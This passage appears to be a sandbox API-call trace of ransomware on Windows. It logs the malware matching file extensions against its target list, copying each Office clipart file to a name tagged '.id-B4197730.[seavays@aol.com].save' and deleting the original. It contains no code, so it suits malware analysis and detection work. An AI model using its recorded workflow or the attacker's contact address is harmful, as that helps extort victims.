Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0178.059] lstrlenW (lpString=".doc") returned 4 [0178.059] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.059] lstrlenW (lpString=".docx") returned 5 [0178.059] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0178.059] lstrlenW (lpString=".pdf") returned 4 [0178.059] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.059] lstrlenW (lpString=".xls") returned 4 [0178.059] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.059] lstrlenW (lpString=".xlsx") returned 5 [0178.060] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0178.060] lstrlenW (lpString=".ppt") returned 4 [0178.060] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0178.060] lstrlenW (lpString=".zip") returned 4 [0178.060] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.060] lstrlenW (lpString=".rar") returned 4 [0178.060] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.060] lstrlenW (lpString=".bz2") returned 4 [0178.060] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.060] lstrlenW (lpString=".7z") returned 3 [0178.060] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0178.060] lstrlenW (lpString=".dbf") returned 4 [0178.060] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0178.060] lstrlenW (lpString=".1cd") returned 4 [0178.060] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0178.060] lstrlenW (lpString=".jpg") returned 4 [0178.060] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.061] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0178.061] lstrlenW (lpString="J0145895.JPG") returned 12 [0178.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0178.065] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=33958) returned 1 [0178.065] CloseHandle (hObject=0x518) returned 1 [0178.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 0x220 [0178.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0178.065] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.065] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0178.066] GetLastError () returned 0x0 [0178.067] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x84a6, lpOverlapped=0x0) returned 1 [0178.070] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x84b0, lpOverlapped=0x0) returned 1 [0178.073] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0178.073] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0178.073] SetEndOfFile (hFile=0x544) returned 1 [0178.074] CloseHandle (hObject=0x544) returned 1 [0178.074] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.074] SetEndOfFile (hFile=0x518) returned 1 [0178.079] CloseHandle (hObject=0x518) returned 1 [0178.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0178.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 1 [0178.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0178.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0178.083] lstrlenW (lpString=".doc") returned 4 [0178.083] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.083] lstrlenW (lpString=".docx") returned 5 [0178.083] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0178.084] lstrlenW (lpString=".pdf") returned 4 [0178.084] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.084] lstrlenW (lpString=".xls") returned 4 [0178.084] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.084] lstrlenW (lpString=".xlsx") returned 5 [0178.084] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0178.084] lstrlenW (lpString=".ppt") returned 4 [0178.084] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0178.084] lstrlenW (lpString=".zip") returned 4 [0178.084] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.084] lstrlenW (lpString=".rar") returned 4 [0178.084] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.084] lstrlenW (lpString=".bz2") returned 4 [0178.084] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.084] lstrlenW (lpString=".7z") returned 3 [0178.084] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0178.084] lstrlenW (lpString=".dbf") returned 4 [0178.084] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0178.085] lstrlenW (lpString=".1cd") returned 4 [0178.085] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0178.085] lstrlenW (lpString=".jpg") returned 4 [0178.085] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.086] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=39542) returned 1 [0178.086] CloseHandle (hObject=0x518) returned 1 [0178.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 0x220 [0178.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0178.088] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.088] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0178.090] GetLastError () returned 0x0 [0178.090] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x9a76, lpOverlapped=0x0) returned 1 [0178.094] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x9a80, lpOverlapped=0x0) returned 1 [0178.492] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0178.492] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0178.492] SetEndOfFile (hFile=0x544) returned 1 [0178.493] CloseHandle (hObject=0x544) returned 1 [0178.493] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.493] SetEndOfFile (hFile=0x518) returned 1 [0178.497] CloseHandle (hObject=0x518) returned 1 [0178.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0178.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 1 [0178.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0178.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0178.499] lstrlenW (lpString=".doc") returned 4 [0178.499] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.499] lstrlenW (lpString=".docx") returned 5 [0178.499] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0178.499] lstrlenW (lpString=".pdf") returned 4 [0178.499] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.499] lstrlenW (lpString=".xls") returned 4 [0178.499] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.500] lstrlenW (lpString=".xlsx") returned 5 [0178.500] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0178.500] lstrlenW (lpString=".ppt") returned 4 [0178.500] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0178.500] lstrlenW (lpString=".zip") returned 4 [0178.500] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.500] lstrlenW (lpString=".rar") returned 4 [0178.500] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.500] lstrlenW (lpString=".bz2") returned 4 [0178.500] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.500] lstrlenW (lpString=".7z") returned 3 [0178.500] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0178.500] lstrlenW (lpString=".dbf") returned 4 [0178.500] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0178.500] lstrlenW (lpString=".1cd") returned 4 [0178.501] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0178.501] lstrlenW (lpString=".jpg") returned 4 [0178.501] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.501] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=46404) returned 1 [0178.502] CloseHandle (hObject=0x518) returned 1 [0178.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 0x220 [0178.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0178.503] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.503] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0178.505] GetLastError () returned 0x0 [0178.505] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xb544, lpOverlapped=0x0) returned 1 [0178.510] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xb550, lpOverlapped=0x0) returned 1 [0178.513] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0178.513] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0178.514] SetEndOfFile (hFile=0x544) returned 1 [0178.514] CloseHandle (hObject=0x544) returned 1 [0178.514] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.514] SetEndOfFile (hFile=0x518) returned 1 [0178.519] CloseHandle (hObject=0x518) returned 1 [0178.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0178.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 1 [0178.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0178.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0178.522] lstrlenW (lpString=".doc") returned 4 [0178.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString=".docx") returned 5 [0178.522] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0178.522] lstrlenW (lpString=".pdf") returned 4 [0178.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString=".xls") returned 4 [0178.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.522] lstrlenW (lpString=".xlsx") returned 5 [0178.522] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0178.522] lstrlenW (lpString=".ppt") returned 4 [0178.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0178.523] lstrlenW (lpString=".zip") returned 4 [0178.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.523] lstrlenW (lpString=".rar") returned 4 [0178.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.523] lstrlenW (lpString=".bz2") returned 4 [0178.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.523] lstrlenW (lpString=".7z") returned 3 [0178.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0178.523] lstrlenW (lpString=".dbf") returned 4 [0178.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0178.523] lstrlenW (lpString=".1cd") returned 4 [0178.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68 [0178.523] lstrlenW (lpString=".jpg") returned 4 [0178.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.524] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=8494) returned 1 [0178.524] CloseHandle (hObject=0x518) returned 1 [0178.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 0x220 [0178.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0178.526] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.526] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0178.528] GetLastError () returned 0x0 [0178.528] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x212e, lpOverlapped=0x0) returned 1 [0178.760] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2130, lpOverlapped=0x0) returned 1 [0178.895] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0178.895] WriteFile (in: hFile=0x544, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0178.895] SetEndOfFile (hFile=0x544) returned 1 [0179.879] CloseHandle (hObject=0x544) returned 1 [0179.879] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0179.879] SetEndOfFile (hFile=0x518) returned 1 [0179.883] CloseHandle (hObject=0x518) returned 1 [0179.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0179.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 1 [0179.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0179.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0179.885] lstrlenW (lpString=".doc") returned 4 [0179.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.885] lstrlenW (lpString=".docx") returned 5 [0179.885] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0179.885] lstrlenW (lpString=".pdf") returned 4 [0179.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.885] lstrlenW (lpString=".xls") returned 4 [0179.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.885] lstrlenW (lpString=".xlsx") returned 5 [0179.885] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0179.885] lstrlenW (lpString=".ppt") returned 4 [0179.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0179.885] lstrlenW (lpString=".zip") returned 4 [0179.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.885] lstrlenW (lpString=".rar") returned 4 [0179.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.886] lstrlenW (lpString=".bz2") returned 4 [0179.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.886] lstrlenW (lpString=".7z") returned 3 [0179.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0179.886] lstrlenW (lpString=".dbf") returned 4 [0179.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0179.886] lstrlenW (lpString=".1cd") returned 4 [0179.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68 [0179.886] lstrlenW (lpString=".jpg") returned 4 [0179.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.889] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=6752) returned 1 [0179.889] CloseHandle (hObject=0x518) returned 1 [0179.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 0x220 [0179.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft 